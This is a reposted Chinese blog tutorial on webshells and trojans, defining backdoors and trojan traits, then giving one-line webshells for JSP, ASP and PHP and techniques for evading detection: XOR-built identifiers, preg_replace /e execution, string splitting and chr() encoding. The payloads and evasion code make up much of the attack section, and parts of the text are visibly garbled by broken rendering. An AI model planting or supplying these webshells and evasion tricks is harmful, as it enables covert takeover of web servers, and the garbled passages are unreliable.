日本免费高清视频-国产福利视频导航-黄色在线播放国产-天天操天天操天天操天天操|www.shdianci.com

學(xué)無先后,達(dá)者為師

網(wǎng)站首頁 編程語言 正文

webshell及木馬詳解

作者:金色%夕陽 更新時間: 2022-05-12 編程語言

一、Webshell

1.Webshell基本介紹

webshell,顧名思義:web指的是在web服務(wù)器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務(wù)器進(jìn)行操作的權(quán)限,也叫webadmin。webshell一般是被網(wǎng)站管理員用于網(wǎng)站管理、服務(wù)器管理等等一些用途,但是由于webshell的功能比較強大,可以上傳下載文件,查看數(shù)據(jù)庫,甚至可以調(diào)用一些服務(wù)器上系統(tǒng)的相關(guān)命令(比如創(chuàng)建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務(wù)器的頁面的目錄下,然后通過頁面訪問的形式進(jìn)行入侵,或者通過插入一句話連接本地的一些相關(guān)工具直接對服務(wù)器進(jìn)行入侵操作。

1.1 什么是木馬

“木馬”全稱是“特洛伊木馬(Trojan< BR >Horse)”,原指古希臘士兵藏在木馬內(nèi)進(jìn)入敵方城市從而占領(lǐng)敵方城市的故事。在Internet上,“特洛伊木馬”指一些程序設(shè)計人員在其可從網(wǎng)絡(luò)上下載 (Download)的應(yīng)用程序或游戲中,包含了可以控制用戶的計算機(jī)系統(tǒng)的程序,可能造成用戶的系統(tǒng)被破壞甚至癱瘓。

1.2 什么是后門

大家都知道,一臺計算機(jī)上有65535個端口,那么如果把計算機(jī)看作是一間屋子,那么這65535個端口就可以它看做是計算機(jī)為了與外界連接所開的65535 扇門。每個門的背后都是一個服務(wù)。有的門是主人特地打開迎接客人的(提供服務(wù)),有的門是主人為了出去訪問客人而開設(shè)的(訪問遠(yuǎn)程服務(wù))——理論上,剩下的其他門都該是關(guān)閉著的,但偏偏由于各種原因,很多門都是開啟的。于是就有好事者進(jìn)入,主人的隱私被刺探,生活被打擾,甚至屋里的東西也被搞得一片狼跡。這扇悄然被開啟的門——就是“后門”。

1.3 什么是webshell

簡單來說,webshell就是一個web的木馬后門,黑客在入侵了一個網(wǎng)站后,常常在將這些web木馬后門文件放置在網(wǎng)站服務(wù)器的web目錄中,與正常的網(wǎng)頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網(wǎng)站服務(wù)器,包括上傳下載文件、查看數(shù)據(jù)庫、執(zhí)行任意程序命令等。

2. Webshell分類

Webshell根據(jù)不同的文件大小、功能、開發(fā)的語言版本等不同,可以進(jìn)行不同的分類,常見的webshell分類方式有以下兩種方式。

2.1 不同的開發(fā)語言

webshell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態(tài)網(wǎng)頁,當(dāng)然也有與之相關(guān)的webshell。

不同腳本類型的簡單木馬
JSP <%Runtime.getRuntime().exec(request.getParameter(“i”));%>
ASP <%eval request(“cmd”)%>
PHP

2.2 代碼量(shell功能)大小

根據(jù)功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務(wù)器上面。這里eval方法將request(“pass”)轉(zhuǎn)換成代碼執(zhí)行,request函數(shù)的作用是應(yīng)用外部文件。這相當(dāng)于一句話木馬的客戶端配置。
大馬與小馬區(qū)別:

		一句話木馬(小馬)					大馬
功能		功能簡單,需要配合客戶端使用			功能完善,直接使用瀏覽器即可利用

大小		代碼量通常在一行左右,不超過10行		代碼量通常較大

隱蔽性	隱蔽性強							隱蔽性相對較弱
		容易通過變形隱藏特征				通過加密等方式來隱藏特征	
		容易繞過過濾						相對不易繞過過濾

二、一句話木馬

1. 什么是一句話木馬?

一句話木馬的原理即可以執(zhí)行傳遞上來變量的內(nèi)容,變量名稱即“一句話密碼”,變量內(nèi)容即后門執(zhí)行代碼,內(nèi)容可以是list文件、上傳及下載文件、數(shù)據(jù)庫操作等等。這類后門通常只一行代碼,因此可以隨意插入web站點的正常文件而并不影響原本代碼的執(zhí)行,甚至與正常圖片的結(jié)合可以形成“圖片馬”。體積小,隱蔽性強是一句話木馬最大的優(yōu)勢。靈活的變量內(nèi)容同時成就了很多經(jīng)典的一句話操作客戶端,如菜刀。

三、木馬特征

當(dāng)前常見的木馬文件、木馬程序主要特征有隱蔽性、自啟動、欺騙性、自動恢復(fù)、端口自啟這五種特征。接下來,簡單對這五種特征進(jìn)行介紹。

1.隱蔽性

隱蔽性是指木馬必須隱藏在目標(biāo)計算機(jī)中,以免被用戶發(fā)現(xiàn)。這是因為木馬設(shè)計者不會輕易就讓用戶發(fā)現(xiàn)木馬程序。木馬的隱蔽性主要體現(xiàn)在兩個方面:第一是不會在目標(biāo)計算機(jī)產(chǎn)生快捷圖標(biāo),第二是木馬程序會自動在任務(wù)管理器中隱藏,并以系統(tǒng)服務(wù)的形式存在,以欺騙操作系統(tǒng)。

2.自啟動

木馬的自動運行性是指木馬會隨著計算機(jī)系統(tǒng)的啟動而自動運行,所以木馬必須潛入計算機(jī)的啟動配置文件中,如啟動組或系統(tǒng)進(jìn)程。直到目標(biāo)計算機(jī)關(guān)閉時,木馬才會停止運行。

3.欺騙性

木馬之所以具有欺騙性是為了防止一眼就被計算機(jī)用戶認(rèn)出。為此,被木馬感染的文件一般都用常用的文件名或擴(kuò)展名,或者仿制一些不易被人區(qū)分的文件名,甚至干脆借用系統(tǒng)文件中已有的文件名,只不過他們被保存在不同的路徑之中。

4.自動恢復(fù)

木馬的自動恢復(fù)是指當(dāng)木馬的某一些功能模塊丟失時,他能夠自動回復(fù)為丟失之前的狀態(tài)。現(xiàn)在很多木馬的功能已不再是有單一的文件所組成,而是有多重備份,可以相互恢復(fù)的文件。

5.自啟端口

木馬潛入目標(biāo)計算機(jī)的目的不是為了破壞文件,即使為了獲取目標(biāo)計算機(jī)中的有用信息,因此就需要保證能與目標(biāo)計算機(jī)進(jìn)行通信。木馬會采用服務(wù)器/客戶端的通信手段把獲取到的有用信息傳遞給黑客,以便黑客能控制該計算機(jī)或?qū)崿F(xiàn)更進(jìn)一步的企圖。

四、木馬編寫&免殺處理

1. 木馬編寫

編寫一句話木馬,根據(jù)不同的開發(fā)語言可以分為不同類型的一句話木馬,其主要分為兩個部分:①用戶可控參數(shù)②系統(tǒng)命令執(zhí)行函數(shù);以php的一句話木馬后門中最普通的一種為例:,其中v作為參數(shù)用于傳遞攻擊者提交的內(nèi)容; P O S T [ ′ ′ ] 用 于 接 收 前 端 攻 擊 者 輸 入 的 內(nèi) 容 , 這 部 分 作 為 用 戶 可 控 輸 入 內(nèi) 容 , e v a l ( ) 函 數(shù) 是 P H P 語 言 中 的 命 令 執(zhí) 行 函 數(shù) , 會 將 任 何 字 符 串 當(dāng) 做 命 令 進(jìn) 行 執(zhí) 行 ; 當(dāng) _POST['']用于接收前端攻擊者輸入的內(nèi)容,這部分作為用戶可控輸入內(nèi)容,eval()函數(shù)是PHP語言中的命令執(zhí)行函數(shù),會將任何字符串當(dāng)做命令進(jìn)行執(zhí)行;當(dāng) P?OST[]內(nèi)內(nèi)eval()數(shù)PHP執(zhí)數(shù)當(dāng)進(jìn)執(zhí)當(dāng)_POST[‘v’]接收傳值后,利用eval()函數(shù)對傳入的參數(shù)進(jìn)行執(zhí)行。

2. 木馬免殺處理

免殺就是需要特定的關(guān)鍵字,我們使用一些特殊的構(gòu)造方法,或者拆分或者替換等方式,不斷地嘗試躲避服務(wù)器端的過濾

2.1 構(gòu)造法繞過檢測(PHP)

一般的檢測程序會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個時候可以用構(gòu)造法繞過一些檢測程序,基本原理是,php每一個字符都都對應(yīng)了一個二進(jìn)制的值,可以采用異或的方式,讓馬中的一個字符用兩個字符異或后的值來代替,在我們的程序過濾數(shù)字 字母等的時候也可以派上用場,我的核心思路是,將非字母、數(shù)字的字符經(jīng)過各種變換,最后能構(gòu)造出a-z中任意一個字符。比如在PHP中,兩個字符串執(zhí)行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數(shù)字的字符,他們的異或結(jié)果是這個字母即可,我們也可以使用~來取反。


然后構(gòu)造與一句話可以寫為


// 結(jié)果為@ P O S T [ 0 ] ( _POST[0]( P?OST[0](POST[1])
! 表 示 1 的 相 反 , 在 語 言 里 面 1 代 表 真 , 反 過 來 就 是 0 ( 假 ) , 但 是 這 樣 的 繞 過 方 法 相 當(dāng) 弱 , 仔 細(xì) 想 一 下 , 就 算 是 兩 個 字 符 的 二 進(jìn) 制 值 異 或 , 但 是 我 們 要 用 某 個 字 符 , 還 是 應(yīng) 用 那 個 字 符 的 值 , 例 如 : _表示1的相反,在語言里面1代表真,反過來就是0(假),但是這樣的繞過方法相當(dāng)弱,仔細(xì)想一下,就算是兩個字符的二進(jìn)制值異或,但是我們要用某個字符,還是應(yīng)用那個字符的值,例如: ?110當(dāng)細(xì)進(jìn)應(yīng)__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”)的二進(jìn)制值與_POST字符的值一樣的,要是檢測程序會檢測二進(jìn)制碼的值,還是會被殺掉。

2.2 正則表達(dá)式代替法(PHP)

php中有一個函數(shù)preg_replace()函數(shù),這個函數(shù)可以實現(xiàn)正則表達(dá)式的替換工作。用替換繞過檢測系統(tǒng)還需要php腳本語言里面的一個函數(shù)特性,函數(shù)在調(diào)用的時候,如果函數(shù)里面的形參賦的值里面含有命令,就會執(zhí)行這個命令。

(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代碼就是替代的一個過程,首先創(chuàng)建一個空函數(shù),然后使用preg_replace函數(shù)替換表單cmd中的

(這里是html里面表示主題)為funfunc,將post表單中的值寫成 {${phpinfo()}}通過置換,就會變成 funfunc({${phpinfo()}}),由于${}可以解析{}中的內(nèi)容,所以這里的phpinfo就可以順利執(zhí)行了。

2.3 回避法(ASP)

因為有的asp服務(wù)器為了防止一句話馬,會過濾<%,%>,可以使用:

execute request("cmd")

功能相同,就是換個形式,回避特定腳本語言:aspx一句話


2.4 拆分法(ASP)

將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>
拆分法加強版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上兩句使用了if一句將其分開,中心思想將敏感字符拆分,因為一般asp特征碼為eval(request或者execute(request,拆分了之后檢測不到特征碼,就直接繞過了。

2.5 亂碼變形(ANSI->Unicode加密)

<%eval request("#")%>變形為“┼攠數(shù)畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

上面一行代碼是采用了ascii加密的方法,chr(114)代表的是ascii中的編號為114個那個字符,即r。上述代碼轉(zhuǎn)換后的代碼為

<%eval (eval(request("brute"))%>

原文鏈接:https://blog.csdn.net/weixin_53002381/article/details/124161466

欄目分類
最近更新